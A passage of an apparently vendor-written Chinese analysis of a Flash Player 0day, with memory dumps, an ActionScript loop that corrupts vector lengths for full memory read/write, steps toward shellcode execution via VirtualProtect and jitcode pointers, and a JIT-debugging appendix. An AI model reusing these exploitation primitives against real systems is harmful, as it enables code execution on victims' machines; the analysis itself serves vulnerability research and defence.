0995c370? 00000000 00000000 00000000 00000000
0995c380? 00000000 00000000 00000000 00000000
0995c390? 00000000 00000000 00000000 00000000
0995c3a0? 00000000 00000000 00000000 00000000
0995c3b0? 00000000 00000000 00000000 00000000
執行之后vector<uint>(0×62)長度被修改為0x6a
5 Find corrupted vector length
for(i=_arLen2; i < _arLen; i++) {
_vu = _ar[i];
if (_vu.length > _vLen+2) {
Log(“ar[“+i+”].length = ” + Hex(_vu.length));
Log(“ar[“+i+”][“+Hex(_vLen)+”] = ” + Hex(_vu[_vLen]));
if (_vu[_vLen] == _vLen) {
// corrupt next vector
_vu[_vLen] = LEN40;//0x40000000
// get corrupted vector
_vu = _ar[_vu[_vLen+2]];
break;
}
};// else CheckCorrupted(_vu, i); // 4RnD
}
由于某一個vector<uint>(0×62)的長度被改成0x6a 這里循環進行尋找,找到之后根據被修改的vector進而修改后面的vector長度。
_vu = _ar[_vu[_vLen+2]];? //由于之前通過設置_ar[i][0] = i; 標記了是哪個vector<uint>()。
0:008> dd 0995c340? +0x62*4+8
0995c4d0? 40000000 08d42000 0000003a 00000000
0995c4e0? 00000000 00000000 00000000 00000000
0995c4f0? 00000000 00000000 00000000 00000000
0995c500? 00000000 00000000 00000000 00000000
0995c510? 00000000 00000000 00000000 00000000
0995c520? 00000000 00000000 00000000 00000000
0995c530? 00000000 00000000 00000000 00000000
0995c540? 00000000 00000000 00000000 00000000
Exploit
此時擁有了一個可以長度為全內存的vector _vu,為了最終能實現全內存讀寫需要成2步
A 為了能讀寫全內存,此時需要獲取到_vul[0] 數組的首地址,之后讀寫任意地址只需和首地址相計算得出INDEX,通過_vul[index] 即可讀寫全內存。
B 同時還需要獲取到一個定義的vector的buf首地址,這樣以后任意對象的地址可以通過_vo[1] = obj; 之后通過A然后獲取,利用代碼里面的Prepare 函數主要做此工作。
之后通過搜索內存 獲取到關鍵VirtualProtect函數地址,觸發調用設置Payload可執行屬性,最后通過篡改Payload的jitcode指針,執行shellcode,讀者可以在自己調試一番。
Detection and Defense
我們的未知威脅檢測引擎無需更新即可檢測到此0day,詳情請查看B超
https://b-chao.com/index.php/Index/show_detail/Sha1/E695FBEB87CB4F02917E574DABB5EC32D1D8F787
可以預見很快各大exploit kit 將會增加此0day的支持并進行掛馬、釣魚攻擊,用戶可以暫時先禁用掉Flash,等待Adobe官方發布更新補丁.
Appendix – DEBUG JIT CODE
METHOD TO JITCODE
利用趨勢的一位同學寫的debugjit的插件,可以定位到方法對應的jitcode位置,下載鏈接:
http://vdisk.weibo.com/s/uAGaNxKsgN8na/1420788398
之前我也寫過一個 后面沒有時間來繼續更新了 主要原理是通過查看AVMPLUS工程代碼,HOOK JITCODE生成的地方,打印每次生成JITCODE地址對應的METHOD NAME和METHOD ID
ABC CODE TO JITCODE
SWF從AS源碼生成ABC,AVM對ABC生成對應的JIT CODE. 每一段相應的ABC 對應著生成的JIT CODE
看圖中源碼與對應的ABC CODE,對應生成的jitcode應該類似
Call xxx (new bytearray)
Mov stack_var1 , eax
Push 0x11111111
Call ccc (writeUnsinged)
這里編譯的是debug版本,每行都會在abc code中生成 debugline x(行號),對應jit code中也會有類似
Push 25
Call ddd (debugline )
具體對應生成的jitCODE
06379773 6a18??????????? push??? 18h
06379775 8b8d2cffffff??? mov???? ecx,dword ptr [ebp-0D4h]
0637977b e870ab61fb? call??? flashplayer_17_sa_debug!IAEModule_IAEKernel_UnloadModule+0x115d50 (019942f0) //debugline 24
06379780 83c40c????????? add???? esp,0Ch
06379783 8b8d28ffffff??? mov???? ecx,dword ptr [ebp-0D8h]
06379789 8d492c????????? lea???? ecx,[ecx+2Ch]
0637978c 8d2424????????? lea???? esp,[esp]
0637978f 8d9570ffffff??? lea???? edx,[ebp-90h]
06379795 e8b66363fb????? call??? flashplayer_17_sa_debug!IAEModule_IAEKernel_UnloadModule+0x1315b0 (019afb50)
// findpropstrict
0637979a 8b481c????????? mov???? ecx,dword ptr [eax+1Ch]
0637979d 85c9??????????? test??? ecx,ecx
0637979f 0f8477050000??? je????? 06379d1c
063797a5 8b7108????????? mov???? esi,dword ptr [ecx+8]
063797a8 8b5610????????? mov???? edx,dword ptr [esi+10h]
063797ab 8b7208????????? mov???? esi,dword ptr [edx+8]
063797ae 8b4218????????? mov???? eax,dword ptr [edx+18h]
063797b1 ffd0??????????? call??? eax
// constructprop? new bytearray();
063797b3 8945b8????????? mov???? dword ptr [ebp-48h],eax
063797b6 8d8d24ffffff??? lea???? ecx,[ebp-0DCh]
063797bc 898524ffffff??? mov???? dword ptr [ebp-0DCh],eax
063797c2 8b4604????????? mov???? eax,dword ptr [esi+4]
063797c5 83ec04????????? sub???? esp,4
063797c8 51????????????? push??? ecx
063797c9 6a00??????????? push??? 0
063797cb 56????????????? push??? esi
063797cc ffd0??????????? call??? eax
// coerce
063797ce 83c410????????? add???? esp,10h
063797d1 8b75b8????????? mov???? esi,dword ptr [ebp-48h]
063797d4 8975a0????????? mov???? dword ptr [ebp-60h],esi
063797d7 c6458203??????? mov???? byte ptr [ebp-7Eh],3
063797db 83ec0c????????? sub???? esp,0Ch
063797de 6a19??????????? push??? 19h
063797e0 8b8d2cffffff??? mov???? ecx,dword ptr [ebp-0D4h]
063797e6 e805ab61fb????? call??? flashplayer_17_sa_debug!IAEModule_IAEKernel_UnloadModule+0x115d50 (019942f0)
//debugline 25
063797eb 83c40c????????? add???? esp,0Ch
063797ee 8b55a0????????? mov???? edx,dword ptr [ebp-60h]
063797f1 b8a0f4c53b????? mov???? eax,3BC5F4A0h
063797f6 35b1e5d42a????? xor???? eax,2AD4E5B1h? //0x11111111
063797fb 8b7208????????? mov???? esi,dword ptr [edx+8]
063797fe 8b4e60????????? mov???? ecx,dword ptr [esi+60h]
06379801 8bb534ffffff??? mov???? esi,dword ptr [ebp-0CCh]
06379807 899520ffffff??? mov???? dword ptr [ebp-0E0h],edx
0637980d 8d9520ffffff??? lea???? edx,[ebp-0E0h]
06379813 898524ffffff??? mov???? dword ptr [ebp-0DCh],eax
06379819 8b4104????????? mov???? eax,dword ptr [ecx+4]
0637981c 83ec04????????? sub???? esp,4
0637981f 52????????????? push??? edx
06379820 6a01??????????? push??? 1
06379822 51????????????? push??? ecx
06379823 ffd0??????????? call??? eax
//local1.writeUnsigned(0x11111111);
Find AS func Code
找到了對應的jit code之后,如何找到對應的AS NATIVE 函數的實現呢
一般對應的調用生成的jit code 類似
Push xx
Push num (參數個數)
Push ecx/esi
Call method_pack
以bytearray.writeUnsigned 函數調用為例
Method_pack
到達writeUnsigned 的pack函數
WriteUnsigned 函數對應的實現
不過也有很多其他類型 基本上往call register 方向去猜就對了
BreakPoint func
很多時間比如我們想看一段method中某一段代碼對應生成的jit code實現怎么辦呢?
IE中有類似Math.atan2(0xbabe, “[*] Creating object button…”);
我一般的做法是插入bytearray.writeUnsigned(0×11111111);函數 根據傳入不同的參數知曉當前在哪里,防止迷失在jit code中
但是每個版本的writeUnsigned函數對應的實現地址不一樣,一般都過搜索
中的lea ebp,[esi+0x24h] 來定位
V2+4 就是writeUnsigned ,+2 則是writeShort之類的
找到這個函數地址之后 下斷點,斷下來之后直接快速步過返回就到了JIT CODE區域了
Load SIG file
此前不久h4ckmp和promised_lu 2位同學 都把自己通過avmplus制作的sig發出來,導入到ida sig文件夾之后,可以識別到不少的函數
下載鏈接:http://vdisk.weibo.com/s/BY9EvewxqT4D_/1435050804